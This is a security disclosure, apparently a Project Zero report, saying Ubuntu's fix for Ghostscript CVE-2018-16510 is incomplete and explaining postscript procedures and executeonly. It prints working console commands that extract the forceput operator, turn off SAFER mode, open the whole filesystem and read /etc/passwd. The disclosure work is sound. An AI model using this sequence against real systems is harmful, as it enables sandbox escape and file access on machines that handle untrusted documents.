Ubuntu Ghostscript Failed Fix

The fix Ubuntu applied to address the Ghostscript vulnerability identified in CVE-2018-16510 appears to be insufficient.


MD5 | bf60fb38f298c008133783e5223c3485

Ubuntu: incomplete fix for CVE-2018-16510

This Ubuntu advisory claims to fix CVE-2018-16510:

<a href="https://usn.ubuntu.com/3768-1/" title="" class="" rel="nofollow">https://usn.ubuntu.com/3768-1/</a>

That does not appear to be true. The root cause of CVE-2018-16510 was that a bunch of procedures were in userdict that should have been executeonly, but were not. In ghostscript-9.22~dfsg+1-0ubuntu1.2 those procedures are not executeonly, and therefore the issue is still exploitable. In retrospect, I think I didn't explain the problem very well in <a href="/p/project-zero/issues/detail?id=1640" title="ghostscript: multiple critical vulnerabilities, including remote command execution" class="closed_ref" rel="nofollow"> bug 1640 </a>. Upstream does appear to have fixed it completely, but obviously they are postscript experts.

I think this class of postscript vulnerability isn't explained well anywhere, so for future reference I'll explain the problem.

A procedure in postscript works how you would expect, like a function you can call. However, if you grab a reference to it then you can sort of treat it like an array, adding and removing elements from it.

Here is an example, you define a procedure like this:

{ (hello\n) print }

We could assign a name to it like this if we want:

/whatever { (hello\n) print } def

That creates an entry in userdict, so now you can just call it like this:

GS>whatever
hello

Because it's now in userdict, you can get a reference to it and examine it. For example, pass it to the exec operator to get it executed:

GS>userdict /whatever get exec
hello

But look at this, you can also put and get elements as if it was an array:

GS>userdict /whatever get 0 get ==
(hello\n)
GS>userdict /whatever get 1 get ==
print

Notice that each command is a new element. In fact, if you query it's type, it is an array:

GS>userdict /whatever get type ==
arraytype

That's just standard postscript and not surprising, but remember that ghostscript is partially written in postscript (like emacs is partially written in lisp). This means ghostscript has a lot of internal operators that are supposed to be reserved for system use, and shouldn't be exposed to users.

To prevent users from getting references to operators out of system routines, a special attribute is set on them called `executeonly`. As the name suggests, this means you can execute the proecdure but you cannot access it's elements with `get` and `put`. Let's set the executeonly attribute on our whatever procedure:

GS>userdict /whatever userdict /whatever get executeonly put

Now we can still execute it:

GS>userdict /whatever get exec
hello

But if we try to access it's contents:

GS>userdict /whatever get 0 get
Error: /invalidaccess in --get--

Cool, now we can hide internal stuff users shouldnt be able to access. CVE-2018-16510 was a problem where a dictionary called GS_PDF_ProcSet was left in userdict which a bunch of internal routines in it. You can dump them all like this:

GS>userdict /GS_PDF_ProcSet get { == == } forall

They are mostly not very exciting, but look at this one:

GS>GS_PDF_ProcSet /switch_to_normal_marking_ops get ==
{pdfopdict /m {normal_m} --bind-- --.forceput-- pdfopdict /l {normal_l} --bind-- --.forceput-- pdfopdict /c {normal_c} --bind-- --.forceput-- pdfopdict /v {normal_v} --bind-- --.forceput-- pdfopdict /y {normal_y} --bind-- --.forceput-- pdfopdict /re {normal_re} --bind-- --.forceput--}

Oops, there's a forceput in there - that's a game over "root access" operator that ignores all access checks.

Here is how to extract it:

GS>/forceput { null } dup 0 GS_PDF_ProcSet /switch_to_normal_marking_ops get 4 get put def

Now we can call it and do whatever we want, how about we disable SAFER mode and give ourselves access to the whole filesystem. All of these settings are readonly, but forceput just ignores that:

GS>systemdict /SAFER false forceput
GS>systemdict /userparams get /PermitFileControl [(*)] forceput
GS>systemdict /userparams get /PermitFileWriting [(*)] forceput
GS>systemdict /userparams get /PermitFileReading [(*)] forceput

Now we can read/write/create files:

GS>(/etc/passwd) (r) file dup 64 string readline pop ==
(root:x:0:0:root:/root:/bin/bash)

Combine that with <a href="/p/project-zero/issues/detail?id=1643" title="Debian/Ubuntu AppArmor policy for evince is bypassable" class="closed_ref" rel="nofollow"> bug 1643 </a> and there is an easy remote code execution just by browsing a website. I'll attach the full exploit to <a href="/p/project-zero/issues/detail?id=1643" title="Debian/Ubuntu AppArmor policy for evince is bypassable" class="closed_ref" rel="nofollow"> bug 1643 </a>, it requires a fun trick (credit to evn for the idea!) to create directories, because there is no mkdir operator in postscript.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.




Found by: taviso


Related Posts